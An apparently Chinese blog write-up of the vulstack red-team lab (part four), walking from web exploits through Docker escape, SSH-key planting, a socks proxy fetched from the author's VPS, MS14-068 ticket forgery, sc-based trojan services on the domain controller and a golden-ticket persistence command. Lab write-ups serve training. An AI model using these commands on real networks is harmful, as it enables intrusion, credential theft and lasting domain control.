vulstack红队评估(四)

一、环境搭建:
①根据作者公开的靶机信息整理
虚拟机密码:
ubuntu:
ubuntu:ubuntu
 
win7:
douser:Dotest123
 
Win2008 DC:
administrator:Test2008,因为登陆要修改密码,所以改为了panda666...
 
 
②虚拟机网卡设置
ubuntu双网卡模拟内外网:
外网:192.168.1.128,桥接模式与物理机相通
内网:192.168.183.128,仅主机模式
 
系统的网卡设置手动改一下:
 
 
win7只有内网:
内网:192.168.183.129,仅主机模式
 
win2008只有内网:
内网:192.168.183.130,仅主机模式
 
 
启动Web服务,都是利用docker启动(注意:先切换到root用户再启动,或者加sudo):
①cve-2018-12613(phpmyadmin文件包含漏洞):
 
②S2-045:
 
③CVE-2017-12615(tomcat put上传):
 
 
二、Web层渗透:
1、信息收集:
①端口和服务信息
nmap -T4 -sV 192.168.1.128
 
②端口具体服务
2001:St2
2002:Tomcat
2003:phpmyadmin
 
2、利用漏洞getshell
①St2-045
 
②Tomcat put上传
直接上传冰蝎马
 
③phpmyadmin文件包含漏洞
不做具体操作了,具体利用方式之前也已经实战过...这里不再阐述
 
利用冰蝎连接即可
 
 
3、Docker逃逸:
由于web环境是利用docker搭建的,所以还需要逃逸,才能拿到宿主机权限
①反弹一个标准终端过来:
.sh的内容是bash一句话反弹
 
nc监听,即可收到shell
 
②尝试利用CVE-2019-5736进行docker逃逸(失败告终)
1.将脚本中的payload修改为反弹shell命令:
 
2.然后利用go build进行编译:
 
3.将main文件上传到目标并赋予权限
 
4.执行main文件,然后受害机再次启动容器就会收到shell,但是这里我利用失败了...成功的话如下图:
 
卡壳:在这里尝试了很多次,都无法执行成功,耗费了大量时间,然后看到作者给出提示是ssh私钥利用,然后现学一下,就有了下面的操作:
 
③利用ssh私钥:
1.挂载文件
mkdir /panda
mount /dev/sda1 /panda
ls /panda/
 
2.kali本地生成ssh私钥:
mkdir key
cd key/
ssh-keygen -f panda
chmod 600 panda
 
3.写入私钥:
cp -avx /panda/home/ubuntu/.ssh/id_rsa.pub /panda/home/ubuntu/.ssh/authorized_keys    # -avx是将权限也一起复制
echo > /panda/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的值' > /panda/home/ubuntu/.ssh/authorized_keys
 
查看是否成功生成:
ls /panda/home/ubuntu/.ssh/
 
4.然后利用自己的私钥进行登陆:
ssh -i panda ubuntu@192.168.1.128
 
5.利用此主机作为跳板,进行横向,利用ew搭建socks代理:
wget http://vps的ip/ew_for_linux64
 
开启正向socks代理:
chmod +x ew_for_linux64
./ew_for_linux64 -s ssocksd -l 1080
 
proxychains添加代理规则:
 
 
三、内网渗透:
1、内网信息收集:
利用ubuntu执行ifconfig,发现有两个网卡:
 
生成elf木马,让linux主机上线:
 
添加路由进行横向:
 
使用ms17-010扫描一下网段:
 
再一次卡壳:发现130和129都存在,但是始终无法获取会话,利用不成功....也不是知道是什么原因,但是目前只能想到用系统漏洞拿shell再进行横向了....思前想后,怀疑是msf路由的问题,就利用msf自带的设置代理参数设置socks5代理:
setg Proxies socks5:192.168.1.128:1080
 
然后就打成功了...这个具体什么原因呢?还不清楚...
 
 
2、域内信息收集:
①常规信息收集:
先把权限降为域用户,方便进行信息收集
 
网卡信息:
 
域内机器:
 
域控列表:
 
域管列表:
 
域内用户:
 
 
3、横向移动:
1.利用ms14-068攻击域控:
①获取域用户sid:
 
查看bash历史记录时,发现了域用户的账号密码:douser\Dotest123
 
②伪造生成票据:
ms14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
 
③导入票据:
kerberos::purge
kerberos::ptc 票据名
 
④访问域控:
 
2.利用sc上线域控:
①关闭域控防火墙
sc \\WIN-ENS2VR5TR3N create closewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start closewall
 
②msf生成bind木马:
 
回退权限,并上传到目标机器:
 
然后利用copy命令上传到域控:
 
③创建执行木马的服务:
sc \\WIN-ENS2VR5TR3N create ma binpath= "c:\ma.exe"
sc \\WIN-ENS2VR5TR3N start ma
 
执行完成域控就上线了,最好马上迁移进程:
 
直接dump所有hash:
 
 
4、权限维持:
load kiwi
kerberos_ticket_purge
golden_ticket_create -d demo.com -k 7c4ed692473d4b4344c3ba01c5e6cb63 -s S-1-5-21-979886063-1111900045-1414766810 -u Administrator -t /tmp/krbtgt.ticket
kerberos_ticket_use /tmp/krbtgt.ticket
 
可以在不更改krbtgt密码的情况下维持一段时间的权限了:
 
四、总结:
①踩了太多坑了...msf添加路由无法获取shell,使用msf自带的设置socks代理参数才成功
②如何通过一台跳板搭建socks代理,一步步拿下域控
③ms17-010拿下某域机器权限,随后利用ms14-608获取域控权限
④sc执行命令+bind直连方式上线域控
⑤黄金令牌的伪造以及权限维持
posted @ 2020-06-14 09:41  PANDA墨森  阅读(982)  评论(0编辑  收藏  举报